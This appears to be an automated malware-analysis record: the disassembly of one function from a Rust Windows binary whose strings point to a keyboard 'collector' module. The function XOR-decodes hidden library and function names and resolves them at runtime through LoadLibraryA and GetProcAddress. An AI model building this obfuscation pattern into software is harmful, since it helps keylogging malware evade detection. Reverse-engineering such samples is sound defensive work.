Function at 0x140004df0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x30], 0xfffffffffffffffe
mov rcx, qword [rcx]
mov rax, qword [rcx]
mov qword [rcx], 0
test rax, rax
je 0x140004fee
mov rax, qword [rax]
mov qword [rbp - 0x48], rax
movabs rax, 0x5a931d331e3508c5
xor rax, qword [0x14024c0e0]
movzx ecx, word [0x14024c0e8]
xor ecx, 0x5489
lea rdx, [rbp + 0x10]
mov qword [rdx], rax
mov word [rdx + 8], cx
lea rsi, [rbp - 0x40]
mov r8d, 0xa
mov rcx, rsi
call fcn.1400c2720
lea rdi, [rbp - 0x18]
mov rcx, rdi
mov rdx, rsi
call fcn.1400cdf60
cmp dword [rdi], 1
je 0x140005008
mov r15, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], rax
xorps xmm0, xmm0
movaps xmmword [rbp + 0x10], xmm0
mov byte [rbp + 0x20], 0
mov r10b, 1
lea r8, [0x14024c0ea]
xor r14d, r14d
lea r11, [0x1401a2860]
mov r12, r8
movzx r9d, byte [r14 + r11]
mov rax, r14
or rax, 1
movzx esi, byte [rax + r11]
mov rax, r14
or rax, 2
movzx r13d, byte [rax + r11]
mov rax, r14
or rax, 3
movzx ecx, byte [rax + r11]
mov rax, r14
or rax, 4
movzx ebx, byte [rax + r11]
mov rax, r14
or rax, 5
movzx eax, byte [rax + r11]
mov rdx, r14
or rdx, 6
mov rdi, r14
or rdi, 7
movzx edx, byte [rdx + r11]
movzx edi, byte [rdi + r11]
shl rdi, 0x38
shl rdx, 0x30
or rdx, rdi
shl rax, 0x28
shl rbx, 0x20
shl rcx, 0x18
shl r13, 0x10
shl rsi, 8
or rsi, r9
or rsi, r13
or rsi, rcx
or rsi, rbx
or rsi, rax
or rsi, rdx
xor rsi, qword [r12]
mov qword [rbp + r14 + 0x10], rsi
lea r12, [r14 + r8]
add r12, 8
mov r14d, 8
test r10b, 1
mov r10d, 0
jne 0x140004eb5
mov al, byte [r12]
xor al, 0x37
lea rdx, [rbp + 0x10]
mov byte [rdx + 0x10], al
lea rcx, [rbp - 0x40]
mov r8d, 0x11
call fcn.1400c2720
lea rcx, [rbp - 0x18]
lea rdx, [rbp - 0x40]
call fcn.1400cdf60
cmp dword [rbp - 0x18], 1
je 0x140005043
mov rdi, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
lea rbx, [rbp - 0x40]
mov qword [rbx], rdi
mov qword [rbx + 8], rax
mov rcx, r15
call sub.KERNEL32.dll_LoadLibraryA
mov rcx, rax
mov rdx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov rsi, rax
mov rcx, rbx
call fcn.140007567
lea rcx, [rbp - 0x58]
call fcn.140007567
mov rax, qword [rbp - 0x48]
mov qword [rax], rsi
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersThalya.rustup_toolchains_nightly_x86_64_pc_windows_msvclib_rustlib_src_rustlibrary_std_src_synconce.rs
mov edx, 0x2b
call fcn.140031820
ud2
movups xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
lea r8, [rbp - 0x40]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, str.srccollectorskeyboard.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.1400075c7
mov edx, 0x2b
call fcn.140034460
jmp 0x14000507c
movups xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
lea r8, [rbp - 0x40]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, str.srccollectorskeyboard.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.1400075c7
mov edx, 0x2b
call fcn.140034460
ud2